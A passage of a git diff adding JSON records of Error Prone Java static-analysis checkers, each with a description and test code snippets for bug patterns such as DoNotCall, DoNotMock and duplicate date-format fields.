"javaSqlTime_staticallyTypedAsJavaUtilDate", + "expected-problems": null, + "expected-linenumbers": [ + 534 + ], + "code": "import java.time.Instant;\n import java.util.Date;\n\n public class TestClass {\n public void badApis() {\n Date time = new java.sql.Time(1234567890L);\n Instant instant = time.toInstant();\n int year = time.getYear();\n int month = time.getMonth();\n int date = time.getDate();\n int day = time.getDay();\n time.setYear(1);\n time.setMonth(1);\n time.setDate(1);\n }\n }" + }, + { + "description": "sortedCollectionSequencedCollectionMethods", + "expected-problems": null, + "expected-linenumbers": [ + 560 + ], + "code": "import java.util.TreeMap;\n import java.util.TreeSet;\n\n public class Test {\n public void foo(TreeMap map, TreeSet set) {\n // BUG: Diagnostic contains: DoNotCall\n map.putFirst(\"foo\", \"bar\");\n // BUG: Diagnostic contains: DoNotCall\n map.putLast(\"foo\", \"bar\");\n // BUG: Diagnostic contains: DoNotCall\n set.addFirst(\"foo\");\n // BUG: Diagnostic contains: DoNotCall\n set.addLast(\"foo\");\n }\n }" + }, + { + "description": "readLock_newCondition", + "expected-problems": null, + "expected-linenumbers": [ + 586 + ], + "code": "import java.util.concurrent.locks.ReentrantReadWriteLock;\n\n public class Test {\n public void foo() {\n ReentrantReadWriteLock.ReadLock lock = new ReentrantReadWriteLock().readLock();\n // BUG: Diagnostic contains: DoNotCall\n lock.newCondition();\n }\n }" + }, + { + "description": "threadLocalRandom_setSeed", + "expected-problems": null, + "expected-linenumbers": [ + 608 + ], + "code": "import java.util.concurrent.ThreadLocalRandom;\n\n public class Test {\n public void foo() {\n ThreadLocalRandom random = ThreadLocalRandom.current();\n // BUG: Diagnostic contains: DoNotCall\n random.setSeed(42L);\n }\n }" + }, + { + "description": "memberReferencesOnThirdPartyMethods", + "expected-problems": null, + "expected-linenumbers": [ + 629 + ], + "code": "import java.util.concurrent.ThreadLocalRandom;\n import java.util.Optional;\n\n public class Test {\n public void foo(Optional x) {\n ThreadLocalRandom random = ThreadLocalRandom.current();\n // BUG: Diagnostic contains: DoNotCall\n x.ifPresent(random::setSeed);\n }\n }" + }, + { + "description": "typeArgs_dontCrash", + "expected-problems": null, + "expected-linenumbers": [ + 649 + ], + "code": "import java.util.List;\n\n class Test> {\n @Override\n public boolean equals(Object o) {\n T foo = (T) o;\n return foo.equals(1);\n }\n }" + }, + { + "description": "positive_getSimpleName_refactoredToGetClassName", + "expected-problems": null, + "expected-linenumbers": [ + 668 + ], + "code": "class Test {\n void f() {\n try {\n throw new Exception();\n } catch (Exception ex) {\n // BUG: Diagnostic contains: getClassName\n ex.getStackTrace()[0].getClass().getSimpleName();\n }\n }\n }" + }, + { + "description": "positive_stackWalkerGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 688 + ], + "code": "class Test {\n void f(StackWalker w) {\n // BUG: Diagnostic contains: getCallerClass\n w.getClass();\n }\n }" + }, + { + "description": "positive_stackFrameGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 704 + ], + "code": "import java.lang.StackWalker.StackFrame;\n\n class Test {\n void f(StackFrame f) {\n // BUG: Diagnostic contains: getClassName\n f.getClass();\n }\n }" + }, + { + "description": "positive_constructorGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 722 + ], + "code": "import java.lang.reflect.Constructor;\n\n class Test {\n void f(Constructor c) {\n // BUG: Diagnostic contains: getDeclaringClass\n c.getClass();\n }\n }" + }, + { + "description": "positive_fieldGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 740 + ], + "code": "import java.lang.reflect.Field;\n\n class Test {\n void f(Field f) {\n // BUG: Diagnostic contains: getDeclaringClass\n f.getClass();\n }\n }" + }, + { + "description": "positive_methodGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 758 + ], + "code": "import java.lang.reflect.Method;\n\n class Test {\n void f(Method m) {\n // BUG: Diagnostic contains: getDeclaringClass\n m.getClass();\n }\n }" + }, + { + "description": "positive_beanDescriptorGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 776 + ], + "code": "import java.beans.BeanDescriptor;\n\n class Test {\n void f(BeanDescriptor b) {\n // BUG: Diagnostic contains: getBeanClass\n b.getClass();\n }\n }" + }, + { + "description": "positive_lockInfoGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 794 + ], + "code": "import java.lang.management.LockInfo;\n import java.lang.management.MonitorInfo;\n\n class Test {\n void f(LockInfo l, MonitorInfo m) {\n // BUG: Diagnostic contains: getClassName\n l.getClass();\n // BUG: Diagnostic contains: getClassName\n m.getClass();\n }\n }" + }, + { + "description": "positive_parameterizedTypeGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 815 + ], + "code": "import java.lang.reflect.ParameterizedType;\n\n class Test {\n void f(ParameterizedType t) {\n // BUG: Diagnostic contains: getRawType\n t.getClass();\n }\n }" + }, + { + "description": "positive_classInfoGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 833 + ], + "code": "import com.google.common.reflect.ClassPath.ClassInfo;\n\n class Test {\n void f(ClassInfo i) {\n // BUG: Diagnostic contains: getName\n i.getClass();\n }\n }" + }, + { + "description": "positive_typeTokenGetClass", + "expected-problems": null, + "expected-linenumbers": [ + 851 + ], + "code": "import com.google.common.reflect.TypeToken;\n\n class Test {\n void f(TypeToken t) {\n // BUG: Diagnostic contains: getRawType\n t.getClass();\n }\n }" + }, + { + "description": "positive_threadRun", + "expected-problems": null, + "expected-linenumbers": [ + 869 + ], + "code": "class Test {\n void f(Thread t) {\n // BUG: Diagnostic contains: start\n t.run();\n }\n }" + }, + { + "description": "negative_threadSuperRun", + "expected-problems": null, + "expected-linenumbers": [ + 885 + ], + "code": "class Test extends Thread {\n @Override\n public void run() {\n super.run();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotCallSuggester.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotCallSuggester.json new file mode 100644 index 0000000..d6b94ef --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotCallSuggester.json @@ -0,0 +1,166 @@ +{ + "name": "DoNotCallSuggester", + "language": "java", + "description": "Consider annotating methods that always throw with @DoNotCall. Read more at https://errorprone.info/bugpattern/DoNotCall", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 136, + "branches": 29, + "apis": 4, + "test": [ + { + "description": "finalClass_publicFinalMethod", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "final class Test {\n // BUG: Diagnostic contains: Always throws java.lang.RuntimeException\n public final void foo() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_withInlineComments_type1", + "expected-problems": null, + "expected-linenumbers": [ + 47 + ], + "code": "final class Test {\n // BUG: Diagnostic contains: Always throws java.lang.RuntimeException\n public final void foo() {\n // inline comments get stripped and don't matter\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_withInlineComments_type2", + "expected-problems": null, + "expected-linenumbers": [ + 64 + ], + "code": "final class Test {\n // BUG: Diagnostic contains: Always throws java.lang.RuntimeException\n public final void foo() {\n /* inline comments get stripped and don't matter */\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicNonFinalMethod", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "final class Test {\n // BUG: Diagnostic contains: Always throws java.lang.RuntimeException\n public void foo() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "nonFinalClass_publicFinalMethod", + "expected-problems": null, + "expected-linenumbers": [ + 97 + ], + "code": "class Test {\n // BUG: Diagnostic contains: Always throws java.lang.RuntimeException\n public final void foo() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "nonFinalClass_publicNonFinalMethod", + "expected-problems": null, + "expected-linenumbers": [ + 113 + ], + "code": "class Test {\n public void foo() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_throwsAVariable", + "expected-problems": null, + "expected-linenumbers": [ + 129 + ], + "code": "import java.io.IOException;\n\n final class Test {\n private IOException ioe = new IOException();\n\n // BUG: Diagnostic contains: Always throws java.io.IOException\n public final void foo() throws IOException {\n throw ioe;\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_throwsAnotherMethod", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "import java.io.IOException;\n\n final class Test {\n // BUG: Diagnostic contains: Always throws java.io.IOException\n public final void foo() throws IOException {\n throw up();\n }\n\n private IOException up() {\n return new IOException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_withoutImplementingParentInterface", + "expected-problems": null, + "expected-linenumbers": [ + 171 + ], + "code": "final class Test {\n // BUG: Diagnostic contains: Always throws java.lang.RuntimeException\n public final String get() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_overriddenMethod", + "expected-problems": null, + "expected-linenumbers": [ + 187 + ], + "code": "import java.util.function.Supplier;\n\n final class Test implements Supplier {\n @Override\n public final String get() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_effectivelyOverriddenMethod", + "expected-problems": null, + "expected-linenumbers": [ + 205 + ], + "code": "import java.util.function.Supplier;\n\n final class Test implements Supplier {\n public final String get() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_methodStartsWithProvide", + "expected-problems": null, + "expected-linenumbers": [ + 222 + ], + "code": "final class Test {\n public final String provideString() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_methodStartsWithProduce", + "expected-problems": null, + "expected-linenumbers": [ + 237 + ], + "code": "final class Test {\n public final String produceString() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_methodStartsWithThrows", + "expected-problems": null, + "expected-linenumbers": [ + 252 + ], + "code": "final class Test {\n public final void throwsRuntimeException() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicFinalMethod_extendsAbstractModule", + "expected-problems": null, + "expected-linenumbers": [ + 267 + ], + "code": "package com.google.inject;\n\n public abstract class AbstractModule {}\n \n\n final class Test extends com.google.inject.AbstractModule {\n public final String extractString() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "finalClass_publicMethod_methodReturnsException", + "expected-problems": null, + "expected-linenumbers": [ + 289 + ], + "code": "final class Test {\n public RuntimeException foo() {\n throw new RuntimeException();\n }\n }" + }, + { + "description": "insideAnonymousClass", + "expected-problems": null, + "expected-linenumbers": [ + 304 + ], + "code": "final class Test {\n public final void foo() {\n Object obj =\n new Object() {\n public void foo() {\n throw new RuntimeException();\n }\n };\n }\n }" + }, + { + "description": "abstractClass", + "expected-problems": null, + "expected-linenumbers": [ + 324 + ], + "code": "abstract class Test {\n abstract void test();\n }" + }, + { + "description": "annotatedMethod", + "expected-problems": null, + "expected-linenumbers": [ + 337 + ], + "code": "package net.starlark.java.annot;\n\n public @interface StarlarkMethod {}\n \n\n import net.starlark.java.annot.StarlarkMethod;\n\n final class Test {\n @StarlarkMethod\n public static void foo() {\n throw new RuntimeException();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotClaimAnnotations.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotClaimAnnotations.json new file mode 100644 index 0000000..ab58643 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotClaimAnnotations.json @@ -0,0 +1,46 @@ +{ + "name": "DoNotClaimAnnotations", + "language": "java", + "description": "Don't 'claim' annotations in annotation processors; Processor#process should unconditionally return `false`", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 112, + "branches": 11, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "import java.util.Set;\nimport javax.annotation.processing.Processor;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.lang.model.element.TypeElement;\n\nabstract class Test implements Processor {\n @Override\n public boolean process(Set annotations, RoundEnvironment roundEnv) {\n return true;\n }\n}\n\n\nimport java.util.Set;\nimport javax.annotation.processing.Processor;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.lang.model.element.TypeElement;\n\nabstract class Test implements Processor {\n @Override\n public boolean process(Set annotations, RoundEnvironment roundEnv) {\n return false;\n }\n}" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 70 + ], + "code": "import java.util.Set;\nimport javax.annotation.processing.Processor;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.lang.model.element.TypeElement;\n\nabstract class Test implements Processor {\n @Override\n public boolean process(Set annotations, RoundEnvironment roundEnv) {\n return false;\n }\n}" + }, + { + "description": "negative_notAProcessor", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "import java.util.Set;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.lang.model.element.TypeElement;\n\nabstract class Test {\n public boolean process(Set annotations, RoundEnvironment roundEnv) {\n return true;\n }\n}" + }, + { + "description": "unfixable", + "expected-problems": null, + "expected-linenumbers": [ + 114 + ], + "code": "import java.util.Set;\nimport javax.annotation.processing.Processor;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.annotation.processing.RoundEnvironment;\nimport javax.lang.model.element.TypeElement;\n\nabstract class Test implements Processor {\n abstract boolean helper();\n\n @Override\n public boolean process(Set annotations, RoundEnvironment roundEnv) {\n try {\n // BUG: Diagnostic contains:\n return helper();\n } catch (Throwable t) {\n }\n return false;\n }\n}" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotMockAutoValue.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotMockAutoValue.json new file mode 100644 index 0000000..42fa189 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotMockAutoValue.json @@ -0,0 +1,22 @@ +{ + "name": "DoNotMockAutoValue", + "language": "java", + "description": "AutoValue classes represent pure data classes, so mocking them should not be necessary. Construct a real instance of the class instead.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 40, + "branches": 1, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import com.google.auto.value.AutoValue;\n\n @AutoValue\n public abstract class AV {}\n \n\n import static org.mockito.Mockito.mock;\n\n class Test {\n // BUG: Diagnostic contains:\n private final AV av = mock(AV.class);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotMockChecker.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotMockChecker.json new file mode 100644 index 0000000..854594e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoNotMockChecker.json @@ -0,0 +1,94 @@ +{ + "name": "DoNotMockChecker", + "language": "java", + "description": "Identifies undesirable mocks.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 39, + "branches": 2, + "apis": 2, + "test": [ + { + "description": "matchesMockitoDotMock_doNotMock", + "expected-problems": null, + "expected-linenumbers": [ + 81 + ], + "code": "" + }, + { + "description": "matchesMockitoMockAnnotation_doNotMock", + "expected-problems": null, + "expected-linenumbers": [ + 112 + ], + "code": "" + }, + { + "description": "matchesMockAnnotation_doNotMock_extends", + "expected-problems": null, + "expected-linenumbers": [ + 145 + ], + "code": "" + }, + { + "description": "matchesMockAnnotation_doNotMock_implements", + "expected-problems": null, + "expected-linenumbers": [ + 180 + ], + "code": "" + }, + { + "description": "matchesMockAnnotation_metaDoNotMock", + "expected-problems": null, + "expected-linenumbers": [ + 216 + ], + "code": "package lib;\n\n import org.mockito.Mock;\n import lib.DoNotMockObjects.*;\n\n class Lib {\n\n // BUG: Diagnostic contains:\n @Mock MetaDoNotMockObject metaAnnotatedDoNotMockObject;\n // BUG: Diagnostic contains:\n @Mock MetaDoNotMockInterface metaDoNotMockInterface;\n @Mock MockableObject mockableObject;\n @Mock DoubleMetaAnnotatedDoNotMock doubleMetaAnnotatedDoNotMock; // mockable\n }" + }, + { + "description": "matchesMockitoDotMock_autoValue", + "expected-problems": null, + "expected-linenumbers": [ + 240 + ], + "code": "package lib;\n\n import org.mockito.Mockito;\n import lib.AutoValueObjects.*;\n\n public class Lib {\n\n class MockableObject {}\n\n public static void f() {\n Mockito.mock(MockableObject.class);\n // BUG: Diagnostic contains:\n Mockito.mock(DoNotMockMyAutoValue.class);\n Mockito.mock(MyAutoValue.class);\n MyAutoValue myAutoValue = MyAutoValue.create(1);\n DoNotMockMyAutoValue doNotMockMyAutoValue = DoNotMockMyAutoValue.create(1);\n }\n }" + }, + { + "description": "typaram", + "expected-problems": null, + "expected-linenumbers": [ + 289 + ], + "code": "import org.mockito.Mockito;\n import org.mockito.Mock;\n\n class Test {\n @Mock E e;\n\n T f(T x) {\n T m = Mockito.spy(x);\n return m;\n }\n }" + }, + { + "description": "rawClass", + "expected-problems": null, + "expected-linenumbers": [ + 310 + ], + "code": "import org.mockito.Mockito;\n\n class Test {\n T evil(Class clazz) {\n return (T) Mockito.mock((Class) clazz);\n }\n }" + }, + { + "description": "mockArray", + "expected-problems": null, + "expected-linenumbers": [ + 327 + ], + "code": "import java.lang.annotation.Annotation;\n import org.mockito.Mock;\n\n class Test {\n @Mock Annotation[] annotations;\n }" + }, + { + "description": "noMetaAnnotationIncompleteClasspath", + "expected-problems": null, + "expected-linenumbers": [ + 354 + ], + "code": "" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoubleBraceInitialization.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoubleBraceInitialization.json new file mode 100644 index 0000000..a75163c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DoubleBraceInitialization.json @@ -0,0 +1,94 @@ +{ + "name": "DoubleBraceInitialization", + "language": "java", + "description": "Prefer collection factory methods or builders to the double-brace initialization pattern.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 218, + "branches": 23, + "apis": 7, + "test": [ + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n class Test {\n static final List a = new ArrayList();\n static final Object o =\n new Object() {\n {\n System.err.println(hashCode());\n }\n };\n static final List b =\n new ArrayList() {\n {\n add(1);\n }\n\n @Override\n public boolean add(Integer i) {\n return true;\n }\n };\n static final List c =\n new ArrayList() {\n @Override\n public boolean add(Integer i) {\n return true;\n }\n };\n }" + }, + { + "description": "positiveNoFix", + "expected-problems": null, + "expected-linenumbers": [ + 71 + ], + "code": "import java.util.ArrayList;\n import java.util.List;\n\n // BUG: Diagnostic contains:\n class Test {\n static final List b =\n new ArrayList() {\n {\n addAll(this);\n }\n };\n }" + }, + { + "description": "list", + "expected-problems": null, + "expected-linenumbers": [ + 94 + ], + "code": "import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n static final List a =\n new ArrayList() {\n {\n add(1);\n add(2);\n }\n };\n static final List b =\n Collections.unmodifiableList(\n new ArrayList() {\n {\n add(1);\n add(2);\n }\n });\n List c =\n new ArrayList() {\n {\n add(1);\n add(2);\n }\n };\n }\n \n\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayList;\n import java.util.Collections;\n import java.util.List;\n\n class Test {\n static final ImmutableList a = ImmutableList.of(1, 2);\n static final ImmutableList b = ImmutableList.of(1, 2);\n List c = new ArrayList(ImmutableList.of(1, 2));\n }" + }, + { + "description": "set", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "import java.util.Collections;\n import java.util.HashSet;\n import java.util.Set;\n\n class Test {\n static final Set a =\n new HashSet() {\n {\n add(1);\n add(2);\n }\n };\n static final Set b =\n Collections.unmodifiableSet(\n new HashSet() {\n {\n add(1);\n add(2);\n }\n });\n Set c =\n new HashSet() {\n {\n add(1);\n add(2);\n }\n };\n }\n \n\n import com.google.common.collect.ImmutableSet;\n import java.util.Collections;\n import java.util.HashSet;\n import java.util.Set;\n\n class Test {\n static final ImmutableSet a = ImmutableSet.of(1, 2);\n static final ImmutableSet b = ImmutableSet.of(1, 2);\n Set c = new HashSet(ImmutableSet.of(1, 2));\n }" + }, + { + "description": "collection", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "import java.util.ArrayDeque;\n import java.util.Collection;\n import java.util.Collections;\n import java.util.Deque;\n\n class Test {\n static final Collection a =\n new ArrayDeque() {\n {\n add(1);\n add(2);\n }\n };\n static final Collection b =\n Collections.unmodifiableCollection(\n new ArrayDeque() {\n {\n add(1);\n add(2);\n }\n });\n Deque c =\n new ArrayDeque() {\n {\n add(1);\n add(2);\n }\n };\n }\n \n\n import com.google.common.collect.ImmutableCollection;\n import com.google.common.collect.ImmutableList;\n import java.util.ArrayDeque;\n import java.util.Collection;\n import java.util.Collections;\n import java.util.Deque;\n\n class Test {\n static final ImmutableCollection a = ImmutableList.of(1, 2);\n static final ImmutableCollection b = ImmutableList.of(1, 2);\n Deque c = new ArrayDeque(ImmutableList.of(1, 2));\n }" + }, + { + "description": "map", + "expected-problems": null, + "expected-linenumbers": [ + 253 + ], + "code": "import java.util.Collections;\n import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n static final Map a =\n new HashMap() {\n {\n put(1, \"a\");\n put(2, \"b\");\n }\n };\n static final Map b =\n Collections.unmodifiableMap(\n new HashMap() {\n {\n put(1, \"a\");\n put(2, \"b\");\n }\n });\n Map c =\n new HashMap() {\n {\n put(1, \"a\");\n put(2, \"b\");\n }\n };\n static final Map d =\n new HashMap() {\n {\n put(1, \"a\");\n put(2, \"b\");\n put(3, \"c\");\n put(4, \"d\");\n put(5, \"e\");\n put(6, \"f\");\n }\n };\n }\n \n\nimport com.google.common.collect.ImmutableMap;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\nclass Test {\n static final ImmutableMap a = ImmutableMap.of(1, \"a\", 2, \"b\");\n static final ImmutableMap b = ImmutableMap.of(1, \"a\", 2, \"b\");\n Map c = new HashMap(ImmutableMap.of(1, \"a\", 2, \"b\"));\n static final ImmutableMap d =\n ImmutableMap.builder()\n .put(1, \"a\")\n .put(2, \"b\")\n .put(3, \"c\")\n .put(4, \"d\")\n .put(5, \"e\")\n .put(6, \"f\")\n .buildOrThrow();\n}" + }, + { + "description": "nulls", + "expected-problems": null, + "expected-linenumbers": [ + 325 + ], + "code": "import java.util.*;\n\n // BUG: Diagnostic contains:\n class Test {\n static final List a =\n new ArrayList() {\n {\n add(null);\n }\n };\n static final Set b =\n new HashSet() {\n {\n add(null);\n }\n };\n static final Map c =\n new HashMap() {\n {\n put(null, null);\n }\n };\n }" + }, + { + "description": "returned", + "expected-problems": null, + "expected-linenumbers": [ + 359 + ], + "code": "import java.util.Collections;\n import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n private Map test() {\n return Collections.unmodifiableMap(\n new HashMap() {\n {\n }\n });\n }\n }\n \n\n import com.google.common.collect.ImmutableMap;\n import java.util.Collections;\n import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n private ImmutableMap test() {\n return ImmutableMap.of();\n }\n }" + }, + { + "description": "lambda", + "expected-problems": null, + "expected-linenumbers": [ + 396 + ], + "code": "import java.util.Collections;\n import java.util.HashMap;\n import java.util.Map;\n import java.util.function.Supplier;\n\n class Test {\n private Supplier> test() {\n return () ->\n Collections.unmodifiableMap(\n new HashMap() {\n {\n }\n });\n }\n }\n \n\n import com.google.common.collect.ImmutableMap;\n import java.util.Collections;\n import java.util.HashMap;\n import java.util.Map;\n import java.util.function.Supplier;\n\n class Test {\n private Supplier> test() {\n return () -> ImmutableMap.of();\n }\n }" + }, + { + "description": "statement", + "expected-problems": null, + "expected-linenumbers": [ + 436 + ], + "code": "import java.util.Collections;\n import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n private void test() {\n Collections.unmodifiableMap(\n new HashMap() {\n {\n }\n });\n }\n }\n \n\n import com.google.common.collect.ImmutableMap;\n import java.util.Collections;\n import java.util.HashMap;\n import java.util.Map;\n\n class Test {\n private void test() {\n ImmutableMap.of();\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateBranches.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateBranches.json new file mode 100644 index 0000000..e3ac0a3 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateBranches.json @@ -0,0 +1,70 @@ +{ + "name": "DuplicateBranches", + "language": "java", + "description": "Both branches contain identical code", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 90, + "branches": 13, + "apis": 2, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "class Test {\n String f(boolean a, String b, String c) {\n // BUG: Diagnostic contains:\n return a ? b : b;\n }\n\n String g(boolean a, String b, String c) {\n // BUG: Diagnostic contains:\n if (a) {\n return b;\n } else {\n return b;\n }\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 57 + ], + "code": "class Test {\n String f(boolean a, String b, String c) {\n return a ? b : c;\n }\n\n String g(boolean a, String b, String c) {\n if (a) {\n return b;\n } else {\n return c;\n }\n }\n\n String h(boolean a, String b, String c) {\n if (a) {\n return b;\n }\n return \"\";\n }\n }" + }, + { + "description": "statementRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 87 + ], + "code": "class Test {\n String g(boolean a, String b, String c) {\n if (a) {\n return b;\n } else {\n return b;\n }\n }\n }\n \n\n class Test {\n String g(boolean a, String b, String c) {\n return b;\n }\n }" + }, + { + "description": "statementRefactoringChain", + "expected-problems": null, + "expected-linenumbers": [ + 115 + ], + "code": "class Test {\n String g(boolean a, String b, String c) {\n if (a) {\n return c;\n } else if (a) {\n return b;\n } else {\n return b;\n }\n }\n }\n \n\n class Test {\n String g(boolean a, String b, String c) {\n if (a) {\n return c;\n } else {\n return b;\n }\n }\n }" + }, + { + "description": "commentRefactoring", + "expected-problems": null, + "expected-linenumbers": [ + 149 + ], + "code": "class Test {\n String g(boolean a, String b, String c) {\n if (a) {\n // foo\n return b;\n } else {\n // bar\n return b;\n }\n }\n }\n \n\n class Test {\n String g(boolean a, String b, String c) {\n // foo\n // bar\n return b;\n }\n }" + }, + { + "description": "commentRefactoringIfElse", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "class Test {\n boolean g(boolean a, boolean b) {\n if (a) {\n return true;\n } else if (a) {\n // foo\n return b;\n } else {\n // bar\n return b;\n }\n }\n }\n \n\n class Test {\n boolean g(boolean a, boolean b) {\n if (a) {\n return true;\n } else {\n // foo\n // bar\n return b;\n }\n }\n }" + }, + { + "description": "negativeEmpty", + "expected-problems": null, + "expected-linenumbers": [ + 219 + ], + "code": "class Test {\n void f(boolean a) {\n if (a) {\n } else {\n }\n }\n }\n \n\n class Test {\n void f(boolean a) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateDateFormatField.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateDateFormatField.json new file mode 100644 index 0000000..b2127b1 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/DuplicateDateFormatField.json @@ -0,0 +1,110 @@ +{ + "name": "DuplicateDateFormatField", + "language": "java", + "description": "Reuse of DateFormat fields is most likely unintentional", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 102, + "branches": 9, + "apis": 2, + "test": [ + { + "description": "singleDuplicateField", + "expected-problems": null, + "expected-linenumbers": [ + 30 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n // BUG: Diagnostic contains: uses the field 'm' more than once\n SimpleDateFormat format = new SimpleDateFormat(\"mm/dd/yyyy hh:mm:ss\");\n }" + }, + { + "description": "doubleDuplicateFields", + "expected-problems": null, + "expected-linenumbers": [ + 46 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n // BUG: Diagnostic contains: uses the fields ['m', 's'] more than once\n SimpleDateFormat format = new SimpleDateFormat(\"mm/dd/yyyy hh:mm:ss.sss\");\n }" + }, + { + "description": "constantWithDuplicateField", + "expected-problems": null, + "expected-linenumbers": [ + 62 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n static final String PATTERN = \"mm/dd/yyyy hh:mm:ss\";\n // BUG: Diagnostic contains: uses the field 'm' more than once\n SimpleDateFormat format = new SimpleDateFormat(PATTERN);\n }" + }, + { + "description": "recognizedDateTimeFormat", + "expected-problems": null, + "expected-linenumbers": [ + 79 + ], + "code": "import java.time.format.DateTimeFormatter;\n\n class Test {\n // BUG: Diagnostic contains: uses the field 'm' more than once\n DateTimeFormatter formatter = DateTimeFormatter.ofPattern(\"mm/dd/yyyy hh:mm:ss\");\n }" + }, + { + "description": "simpleDateFormat_applyPattern", + "expected-problems": null, + "expected-linenumbers": [ + 95 + ], + "code": "import java.text.SimpleDateFormat;\n\n class Test {\n public void foo() {\n SimpleDateFormat format = new SimpleDateFormat();\n // BUG: Diagnostic contains: uses the field 'm' more than once\n format.applyPattern(\"mm/dd/yyyy hh:mm:ss\");\n }\n }" + }, + { + "description": 